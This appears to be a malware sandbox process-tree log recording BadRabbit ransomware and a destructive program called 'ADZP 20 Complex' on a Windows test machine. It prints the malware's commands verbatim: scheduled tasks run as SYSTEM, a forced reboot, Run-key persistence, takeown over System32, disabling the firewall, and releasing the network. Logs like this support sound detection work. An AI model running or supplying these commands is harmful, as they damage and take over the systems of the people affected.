  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5216 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:8
  2⤵
  PID:5444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=5424 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:1
  2⤵
  PID:5644
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=5264 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:1
  2⤵
  PID:6064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3004 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:8
  2⤵
  PID:6092
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5700 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5412
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=4996 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:1
  2⤵
  PID:1892
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5992 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:8
  2⤵
  PID:2172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5904 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:8
  2⤵
  PID:3668
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3200 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:8
  2⤵
  PID:5844
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3296 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:8
  2⤵
  PID:5972
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5836 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:8
  2⤵
  PID:5720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=1140 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:8
  2⤵
  PID:5716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5480 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:8
  2⤵
  PID:1208

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:4248

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1344 --field-trial-handle=2356,i,13261194862334667799,7441241219475888176,262144 --variations-seed-version /prefetch:8
1⤵
PID:5604

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4332

C:\Users\Admin\Downloads\BadRabbit.exe
"C:\Users\Admin\Downloads\BadRabbit.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:212
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.exe C:\Windows\infpub.dat,#1 15
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1796
- - C:\Windows\SysWOW64\cmd.exe
    /c schtasks /Delete /F /TN rhaegal
    3⤵
    PID:3708
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Delete /F /TN rhaegal
      4⤵
      PID:5132
- - C:\Windows\SysWOW64\cmd.exe
    /c schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR "C:\Windows\system32\cmd.exe /C Start \"\" \"C:\Windows\dispci.exe\" -id 3104418414 && exit"
    3⤵
    PID:436
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR "C:\Windows\system32\cmd.exe /C Start \"\" \"C:\Windows\dispci.exe\" -id 3104418414 && exit"
      4⤵
      Creates scheduled task(s)
      PID:2164
- - C:\Windows\SysWOW64\cmd.exe
    /c schtasks /Create /SC once /TN drogon /RU SYSTEM /TR "C:\Windows\system32\shutdown.exe /r /t 0 /f" /ST 22:46:00
    3⤵
    PID:5512
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Create /SC once /TN drogon /RU SYSTEM /TR "C:\Windows\system32\shutdown.exe /r /t 0 /f" /ST 22:46:00
      4⤵
      Creates scheduled task(s)
      PID:1868
- - C:\Windows\CA51.tmp
    "C:\Windows\CA51.tmp" \\.\pipe\{C440CBF4-DB93-4158-B7B6-46BBA499BD4D}
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:980

C:\Users\Admin\Downloads\BadRabbit.exe
"C:\Users\Admin\Downloads\BadRabbit.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:3132
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.exe C:\Windows\infpub.dat,#1 15
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3652

C:\Users\Admin\Downloads\BadRabbit.exe
"C:\Users\Admin\Downloads\BadRabbit.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:788
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.exe C:\Windows\infpub.dat,#1 15
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  PID:5880

C:\Users\Admin\Desktop\BadRabbit.exe
"C:\Users\Admin\Desktop\BadRabbit.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:3908
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.exe C:\Windows\infpub.dat,#1 15
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2692

C:\Users\Admin\Desktop\BadRabbit.exe
"C:\Users\Admin\Desktop\BadRabbit.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:1656
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.exe C:\Windows\infpub.dat,#1 15
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  PID:5564

C:\Users\Admin\Desktop\BadRabbit.exe
"C:\Users\Admin\Desktop\BadRabbit.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:5136
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.exe C:\Windows\infpub.dat,#1 15
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  PID:5752

C:\Users\Admin\Desktop\ADZP 20 Complex.exe
"C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
1⤵
PID:1948
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\7651.tmp\7661.tmp\7662.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
  2⤵
  - Checks computer location settings
  - Drops autorun.inf file
  - Drops file in System32 directory
  - Modifies registry class
  PID:5472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K Twain_20.cmd
    3⤵
    PID:1928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K Twain_20.cmd
    3⤵
    PID:6004
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
    3⤵
    PID:3016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K Taskdl.bat
    3⤵
    PID:3764
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32" /r
      4⤵
      Modifies file permissions
      PID:4896
- - C:\Windows\system32\reg.exe
    reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
    3⤵
    PID:5944
- - C:\Windows\system32\reg.exe
    reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
    3⤵
    PID:1416
- - C:\Windows\system32\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:5496
- - C:\Windows\system32\taskkill.exe
    taskkill /im DiskPart /f
    3⤵
    - Kills process with taskkill
    PID:6044
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h *.*
    3⤵
    - Drops desktop.ini file(s)
    - Drops autorun.inf file
    - Views/modifies file attributes
    PID:5500
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
    3⤵
    PID:2576
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
    3⤵
    PID:2816
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
    3⤵
    PID:5844
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
    3⤵
    PID:2176
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
    3⤵
    PID:5104
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
    3⤵
    PID:2420
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
    3⤵
    PID:5032
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
    3⤵
    PID:1944
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
    3⤵
    PID:3700
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
    3⤵
    PID:5584
- - C:\Windows\system32\msg.exe
    msg * Virus Detectado
    3⤵
    PID:5540
- - C:\Windows\system32\msg.exe
    msg * Virus Detectado
    3⤵
    PID:5532
- - C:\Windows\system32\msg.exe
    msg * Has Sido Hackeado!
    3⤵
    PID:5588
- - C:\Users\Admin\Desktop\ADZP 20 Complex.exe
    "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
    3⤵
    - Executes dropped EXE
    PID:4984
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\9EB8.tmp\9EB9.tmp\9EBA.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
      4⤵
      Checks computer location settings
      Drops autorun.inf file
      Drops file in System32 directory
      Modifies registry class
      PID:4068
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        5⤵
        
        PID:6944
      - C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        6⤵
        
        PID:6152
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        5⤵
        
        PID:6960
      - C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        6⤵
        Adds Run key to start application
        
        PID:7128
      - C:\Windows\System32\Twain_20.dll
        
        C:\Windows\System32\Twain_20.dll
        6⤵
        Executes dropped EXE
        
        PID:3944
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\F276.tmp\F277.tmp\F278.bat C:\Windows\System32\Twain_20.dll"
        7⤵
        Checks computer location settings
        Drops autorun.inf file
        Drops file in System32 directory
        Modifies registry class
        
        PID:5348
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:6424
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        9⤵
        
        PID:6640
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        8⤵
        Modifies Windows Firewall
        
        PID:6740
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:6160
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        8⤵
        
        PID:7172
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        8⤵
        
        PID:7220
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        9⤵
        Modifies file permissions
        
        PID:7380
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:7408
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:7496
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        8⤵
        Gathers network information
        
        PID:7564
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        8⤵
        Kills process with taskkill
        
        PID:8260
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        8⤵
        Drops desktop.ini file(s)
        Drops autorun.inf file
        Views/modifies file attributes
        
        PID:8448
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        8⤵
        
        PID:9652
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        8⤵
        
        PID:9800
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        8⤵
        
        PID:9960
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        8⤵
        
        PID:10064
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        8⤵
        
        PID:10188
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        8⤵
        
        PID:9284
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        8⤵
        
        PID:6632
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        8⤵
        
        PID:5608
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        8⤵
        
        PID:9712
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        8⤵
        
        PID:6928
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        8⤵
        
        PID:10196
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        8⤵
        
        PID:9424
        
        C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        8⤵
        
        PID:3124
        
        C:\Windows\System32\Twain_20.dll
        
        C:\Windows\System32\Twain_20.dll
        8⤵
        
        PID:3292
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\9515.tmp\9516.tmp\9517.bat C:\Windows\System32\Twain_20.dll"
        9⤵
        
        PID:9764
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        10⤵
        
        PID:10500
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        10⤵
        Modifies Windows Firewall
        
        PID:10648
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        10⤵
        
        PID:9656
        
        C:\Windows\System32\Twain_20.dll
        
        C:\Windows\System32\Twain_20.dll
        11⤵
        
        PID:12360
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\DE6F.tmp\DE70.tmp\DE71.bat C:\Windows\System32\Twain_20.dll"
        12⤵
        
        PID:11556
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        10⤵
        
        PID:9248
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        11⤵
        Modifies file permissions
        
        PID:5496
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        10⤵
        
        PID:10996
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        10⤵
        
        PID:12868
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        10⤵
        Gathers network information
        
        PID:10712
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        10⤵
        Kills process with taskkill
        
        PID:8344
        
        C:\Windows\system32\notepad.exe
        
        notepad
        8⤵
        
        PID:9536
        
        C:\Windows\system32\calc.exe
        
        calc
        8⤵
        
        PID:8592
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:8504
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        8⤵
        
        PID:4312
        
        C:\Windows\System32\Twain_20.dll
        
        C:\Windows\System32\Twain_20.dll
        8⤵
        
        PID:2384
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8D06.tmp\8D07.tmp\8D08.bat C:\Windows\System32\Twain_20.dll"
        9⤵
        
        PID:7748
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        10⤵
        
        PID:10724
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        11⤵
        
        PID:11980
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        10⤵
        Modifies Windows Firewall
        
        PID:9300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        10⤵
        
        PID:10628
        
        C:\Windows\System32\Twain_20.dll
        
        C:\Windows\System32\Twain_20.dll
        11⤵
        
        PID:7412
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\E0A1.tmp\E0A2.tmp\E0A3.bat C:\Windows\System32\Twain_20.dll"
        12⤵
        
        PID:11952
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        13⤵
        
        PID:12680
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        13⤵
        Modifies Windows Firewall
        
        PID:13280
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        13⤵
        
        PID:5272
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        13⤵
        
        PID:11636
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        10⤵
        
        PID:12948
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        11⤵
        Modifies file permissions
        
        PID:12956
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        10⤵
        
        PID:2620
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        10⤵
        
        PID:13252
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        10⤵
        Gathers network information
        
        PID:7456
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        10⤵
        Kills process with taskkill
        
        PID:12596
        
        C:\Windows\system32\notepad.exe
        
        notepad
        8⤵
        
        PID:8976
        
        C:\Windows\system32\calc.exe
        
        calc
        8⤵
        
        PID:4448
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:8780
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        8⤵
        
        PID:7652
        
        C:\Windows\System32\Twain_20.dll
        
        C:\Windows\System32\Twain_20.dll
        8⤵
        
        PID:7732
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\961F.tmp\9620.tmp\9621.bat C:\Windows\System32\Twain_20.dll"
        9⤵
        
        PID:9828
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        10⤵
        
        PID:9456
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        10⤵
        
        PID:6520
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        10⤵
        
        PID:11320
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        10⤵
        
        PID:12300
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        10⤵
        
        PID:9436
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        10⤵
        
        PID:12004
        
        C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /release
        10⤵
        Gathers network information
        
        PID:1624
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im DiskPart /f
        10⤵
        Kills process with taskkill
        
        PID:11972
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h *.*
        10⤵
        Views/modifies file attributes
        
        PID:5220
        
        C:\Windows\system32\notepad.exe
        
        notepad
        8⤵
        
        PID:8664
        
        C:\Windows\system32\calc.exe
        
        calc
        8⤵
        
        PID:9088
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:9668
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        8⤵
        
        PID:7724
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        8⤵
        
        PID:8328
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        8⤵
        
        PID:9664
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        8⤵
        
        PID:9824
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        8⤵
        
        PID:7944
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        8⤵
        
        PID:10048
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        8⤵
        
        PID:9780
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        5⤵
        
        PID:7100
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        5⤵
        
        PID:7136
      - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        6⤵
        Modifies file permissions
        
        PID:6488
    - - C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        5⤵
        
        PID:844
    - - C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        5⤵
        
        PID:6160
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        5⤵
        Gathers network information
        
        PID:1204
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        5⤵
        Kills process with taskkill
        
        PID:6044
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        5⤵
        Drops desktop.ini file(s)
        Drops autorun.inf file
        Views/modifies file attributes
        
        PID:6900
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:6932
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:708
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:5768
    - - C:\Windows\System32\WScript.exe
        
